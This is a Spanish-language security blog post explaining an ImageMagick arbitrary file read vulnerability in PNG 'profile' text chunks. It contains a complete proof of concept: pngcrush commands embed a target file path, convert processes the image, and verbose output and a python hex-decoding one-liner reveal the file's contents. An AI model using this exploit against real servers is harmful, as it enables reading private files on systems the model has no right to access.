ImageMagick: la vulnerabilidad oculta detrás de tus imágenes online


Cuando se agrega un fragmento de texto (por ejemplo, tEXt), si la palabra clave es la cadena “profile” (sin comillas), ImageMagick interpreta la cadena de texto como un nombre de archivo y carga el contenido como un profile sin procesar (si el binario de ImageMagick tiene permisos para leerlo).

El resultado es que un atacante podría aprovechar ésto para leer arbitrariamente ficheros de un servidor que utiliza ImageMagick para procesar imágenes…

La PoC es además supersencilla.

  1. Primero instalamos las dependencias:

     $ apt-get install pngcrush imagemagick exiftool exiv2 -y
    
  2. Añadimos el chunk de texto con el nombre del fichero que queremos leer:

     $ pngcrush -text a "profile" "/etc/hosts" hacker.png 
    
     Recompressing IDAT chunks in hacker.png to pngout.png
     Total length of data found in critical chunks            =    319742
     Best pngcrush method        =  10 (ws 15 fm 6 zl 9 zs 1) =    328105
    
     CPU time decode 0.043105, encode 0.648451, other 0.002684, total 0.696421 sec
    
  3. Ahora tratamos la imagen con ImageMagick para explotar la vulnerabilidad, en el ejemplo simplemente con el comando convert pero en un entorno real podría detonarse simplemente subiéndo la imágen a un servidor vulnerable:

    $ convert pngout.png oculto.png
    convert-im6.q16: keyword "Raw profile type ": bad character '0x20' `oculto.png' @ warning/png.c/MagickPNGWarningHandler/1668.
    

Y ya está, ahora simplemente vemos el contenido incrustado en la imagen resultante (te lo resalto en amarillo):

$ identify -verbose oculto.png
Image:
Filename: oculto.png
Format: PNG (Portable Network Graphics)
Mime type: image/png
Class: DirectClass
Geometry: 512x512+0+0
Resolution: 118.11x118.11
Print size: 4.33494x4.33494
Units: PixelsPerCentimeter
Colorspace: sRGB
Type: TrueColor
Base type: Undefined
Endianness: Undefined
Depth: 8-bit
Channel depth:
    red: 8-bit
    green: 8-bit
    blue: 8-bit
Channel statistics:
    Pixels: 262144
    Red:
    min: 0  (0)
    max: 255 (1)
    mean: 88.2626 (0.346128)
    standard deviation: 73.5068 (0.288262)
    kurtosis: -0.553267
    skewness: 0.75696
    entropy: 0.960805
    Green:
    min: 0  (0)
    max: 255 (1)
    mean: 120.885 (0.474058)
    standard deviation: 90.0684 (0.35321)
    kurtosis: -1.5098
    skewness: 0.223454
    entropy: 0.953738
    Blue:
    min: 0  (0)
    max: 255 (1)
    mean: 130.047 (0.50999)
    standard deviation: 85.4641 (0.335153)
    kurtosis: -1.51198
    skewness: 0.0835374
    entropy: 0.971014
Image statistics:
    Overall:
    min: 0  (0)
    max: 255 (1)
    mean: 113.065 (0.443392)
    standard deviation: 83.0131 (0.325542)
    kurtosis: -1.33275
    skewness: 0.359084
    entropy: 0.961852
Rendering intent: Perceptual
Gamma: 0.454545
Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
Background color: white
Border color: srgb(223,223,223)
Matte color: grey74
Transparent color: black
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 512x512+0+0
Dispose: Undefined
Iterations: 0
Compression: Zip
Orientation: Undefined
Profiles:
    Profile-icc: 672 bytes
Properties:
    date:create: 2023-02-05T18:35:18+00:00
    date:modify: 2023-02-05T18:35:18+00:00
    exif:BitsPerSample: 8, 8, 8
    exif:ColorSpace: 1
    exif:DateTime: 2023:02:05 12:24:50
    exif:ExifOffset: 190
    exif:ImageLength: 512
    exif:ImageWidth: 512
    exif:Software: GIMP 2.10.30
    exif:thumbnail:BitsPerSample: 8, 8, 8
    exif:thumbnail:Compression: 6
    exif:thumbnail:ImageLength: 256
    exif:thumbnail:ImageWidth: 256
    exif:thumbnail:JPEGInterchangeFormat: 328
    exif:thumbnail:JPEGInterchangeFormatLength: 13885
    exif:thumbnail:PhotometricInterpretation: 6
    exif:thumbnail:SamplesPerPixel: 3
    icc:copyright: Public Domain
    icc:description: GIMP built-in sRGB
    icc:manufacturer: GIMP
    icc:model: sRGB
    png:bKGD: chunk was found (see Background color, above)
    png:cHRM: chunk was found (see Chromaticity, above)
    png:iCCP: chunk was found
    png:IHDR.bit-depth-orig: 8
    png:IHDR.bit_depth: 8
    png:IHDR.color-type-orig: 2
    png:IHDR.color_type: 2 (Truecolor)
    png:IHDR.interlace_method: 0 (Not interlaced)
    png:IHDR.width,height: 512, 512
    png:pHYs: x_res=11811, y_res=11811, units=1
    png:text: 23 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-02-05T18:35:18Z
    Raw profile type: 

    220
3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a
0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c65
20666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d
6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c
6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a66663032
3a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f7574
6572730a

    signature: 1218350006b7307477b7ba227324971bbf78de7a384d3ab2c12b0984f6fade13
    unknown: 1
Artifacts:
    filename: oculto.png
    verbose: true
Tainted: False
Filesize: 340862B
Number pixels: 262144
Pixels per second: 26.1417MB
User time: 0.010u
Elapsed time: 0:01.010
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org

¿Lo has visto verdad? En hexadecimal…

$ python3 -c 'print(bytes.fromhex("texto_en_hexadecimal").decode("utf-8"))'


$ python3 -c 'print(bytes.fromhex("3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a666630323a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f75746572730a").decode("utf-8"))'
127.0.0.1    localhost
127.0.1.1    kyaku

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Fuentes:

https://www.metabaseq.com/imagemagick-zero-days/

https://github.com/agathanon/cve-2022-44268

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC